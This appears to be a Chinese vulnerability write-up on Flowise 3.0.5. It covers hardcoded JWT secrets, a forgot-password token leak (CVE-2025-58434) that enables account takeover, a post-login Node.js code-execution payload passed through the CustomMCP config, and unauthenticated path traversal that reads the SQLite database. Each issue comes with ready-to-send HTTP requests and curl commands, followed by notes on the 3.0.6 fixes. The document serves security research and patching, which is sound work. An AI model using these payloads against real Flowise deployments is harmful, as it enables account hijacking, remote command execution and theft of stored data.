Flowise 是开源的低代码/无代码工具,帮助用户快速构建和部署基于大语言模型(LLM)的应用程序。通过可视化界面,让用户以拖拽的方式轻松搭建复杂的工作流,无需编写大量代码。Flowise 支持多种主流大语言模型,如 OpenAI 的 GPT 系列和 Hugging Face 模型,同时提供丰富的预置组件,满足不同场景的需求

环境搭建

git clone https://github.com/FlowiseAI/Flowise/,进入docker目录,修改image为flowiseai/flowise:3.0.5

docker compose up -d

运行成功后访问:http://localhost:3000 即可,首次登录需要设置账号密码才能进入,所以不存在默认账号密码

成功登录界面如上

路由文件:packages\server\src\routes\index.ts

JWT硬编码?

在docker启动的时候,会读取.env中的配置,其中

发现JWT为硬编码

JWT_AUTH_TOKEN_SECRET='AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD'
JWT_REFRESH_TOKEN_SECRET='AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD'
JWT_ISSUER='ISSUER'
JWT_AUDIENCE='AUDIENCE'
JWT_TOKEN_EXPIRY_IN_MINUTES=360
JWT_REFRESH_TOKEN_EXPIRY_IN_MINUTES=43200

可惜这里id和activeWorkspaceId都不好获取,利用难度过高

建议:开发在pull环境的时候,一定要把配置文件重新配置一遍!

CVE-2025-58434

漏洞分析

忘记密码接口为:/api/v1/account/forgot-password
所以看到
packages\server\src\enterprise\routes\account.route.ts

packages\server\src\enterprise\controllers\account.controller.ts

这里会已json格式输出data,跟进packages\server\src\enterprise\services\account.service.ts

这里先判断用户是否存在,如果存在的话发送重置密码链接到邮箱,链接为:

const resetLink = `${process.env.APP_URL}/reset-password?token=${data.user.tempToken}`

很明显tempToken为我们需要的认证码,但是在最后会return data,而data包含了data.user.tempToken,造成了漏洞

漏洞复现

利用前提:需要知道用户邮箱

重置密码请求

curl -i -X POST https://<target>/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"<user@example.com>"}}'

返回(201 Created):

{
  "user": {
    "id": "<redacted-uuid>",
    "name": "<redacted>",
    "email": "<user@example.com>",
    "credential": "<redacted-hash>",
    "tempToken": "<redacted-tempToken>",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

使用得到的tempToken重置密码

curl -i -X POST https://<target>/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"<user@example.com>",
          "tempToken":"<redacted-tempToken>",
          "password":"NewSecurePassword123!"
        }
      }'

漏洞修复

在3.0.6版本中
https://github.com/FlowiseAI/Flowise/blob/flowise-ui%403.0.6/packages/server/src/enterprise/services/account.service.ts#L544

通过sanitizeUser处理返回的内容

删除了敏感信息

后台RCE

漏洞分析

在后台处,看到有一个Add Nodes的功能

可以看到这里能添加MCP节点,看到接口:/api/v1/node-load-method/customMCP

代码:packages\components\nodes\tools\MCP\CustomMCP\CustomMCP.ts

加如果我们传入的loadMethods为listActions,则会执行到getTools

这里从inputs中获取到参数mcpServerConfig,如果为string类型,则会调用substituteVariablesInString和convertToValidJSONString处理

substituteVariablesInString的作用是:

将字符串中的变量占位符(如{{$vars.xxx}})替换为实际的变量值。

​

convertToValidJSONString的作用是:

通过Function('return ' + inputString)()把字符串解析为 JS 对象(支持对象字面量语法)。

很明显的Nodejs任意代码执行

漏洞复现

注意这是一个后台洞

POST /api/v1/node-load-method/customMCP HTTP/1.1
Host: 172.20.44.195:3000
Content-Length: 228
Content-Type: application/json
Connection: keep-alive

{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"echo !!RCE-OK!! >/tmp/RCE.txt\");return 1;})()})"
    }
  }

执行完成后去看一下

成功命令执行

漏洞修复

在3.0.6版本中

https://github.com/FlowiseAI/Flowise/blob/flowise-ui%403.0.6/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L265

在新版本中,将Function改为了JSON5.parse

未授权敏感文件读取

漏洞分析

存在两个文件读取接口:/api/v1/get-upload-file和/api/v1/openai-assistants-file/download

先看到第一个packages\server\src\controllers\get-upload-file\index.ts

首先chatflowId必须存在并且能被找到,所以项目中必须设置过Chatflows

然后调用streamStorageFile处理,如果成功则res.send返回内容,跟进packages\components\src\storageUtils.ts

判断chatflowId是否为UUID,然后调用isPathTraversal判断是否存在危险字符

export const isPathTraversal = (path: string): boolean => {
    // Check for common path traversal patterns
    const dangerousPatterns = [
        '..', // Directory traversal
        '/', // Root directory
        '\\', // Windows root directory
        '%2e', // URL encoded .
        '%2f', // URL encoded /
        '%5c' // URL encoded \
    ]

    return dangerousPatterns.some((pattern) => path.toLowerCase().includes(pattern))
}

由于是上传到本地,所以直接看到else,filePath.includes('..')又是判断是否存在目录穿越,但是巧的是

它会提前解析..,导致目录穿越,chatId并没有之前的验证,所以并不会抛出异常
最后如果文件存在,则返回内容

可惜的是filePath仅限于/root/.flowise/storage目录下

正好可以读取到文件database.sqlite

看到第二个:packages\server\src\controllers\openai-assistants\index.ts

同理

那么我们怎么获取到正确的chatflowId值呢,正好有一个地方,看到packages\server\src\services\vectors\index.ts

如果error的话,则会将报错结果打印出来
假如我们设置文件名为空或特殊字符,后端可能会将其解析为目录或无效路径,导致无法创建或访问该文件,就会产生报错了

文件名为:

空格
*
?
|
:
<
>

均会产生报错

正好这些接口都是白名单,所以为未授权漏洞

漏洞复现

首先新建一个Chatflow

然后上传产生报错

POST /api/v1/vector/upsert/ HTTP/1.1
Host: 172.20.44.195:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 172
Connection: keep-alive

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="files"; filename="?"
Content-Type: text/plain


------WebKitFormBoundary7MA4YWxkTrZu0gW--

得到了绝对路径/root/.flowise/storage/3bb43ec6-e122-4564-9d2c-7c50b2f67045/918c78e2-6a74-497e-9c11-801aa9402ba9

最后的918c78e2-6a74-497e-9c11-801aa9402ba9为我们需要的chatflowId

POST /api/v1/openai-assistants-file/download HTTP/1.1
Host: 172.20.44.195:3000
Content-Type: application/json
Content-Length: 100

{"chatflowId":"918c78e2-6a74-497e-9c11-801aa9402ba9","chatId":"/../..","fileName":"database.sqlite"}

注意!!!:
/api/v1/openai-assistants-file/download这个接口会导致数据库变为已读,对系统造成破坏,不要在生产环境测试该漏洞

GET /api/v1/get-upload-file?chatflowId=918c78e2-6a74-497e-9c11-801aa9402ba9&chatId=../../&fileName=database.sqlite HTTP/1.1
Host: 172.20.44.195:3000

推荐使用/api/v1/get-upload-file这个接口进行文件读取!

漏洞修复

在3.0.6版本中

看到:https://github.com/FlowiseAI/Flowise/blob/flowise-ui%403.0.6/packages/components/src/storageUtils.ts#L756

使用isPathTraversal检测chatId,无法目录穿越了

​

​

本文内容仅用于技术研究与防御,请勿用于非法用途。使用者需获得目标系统授权并在安全环境进行测试。滥用本文信息产生的后果由使用者自负,与本人无关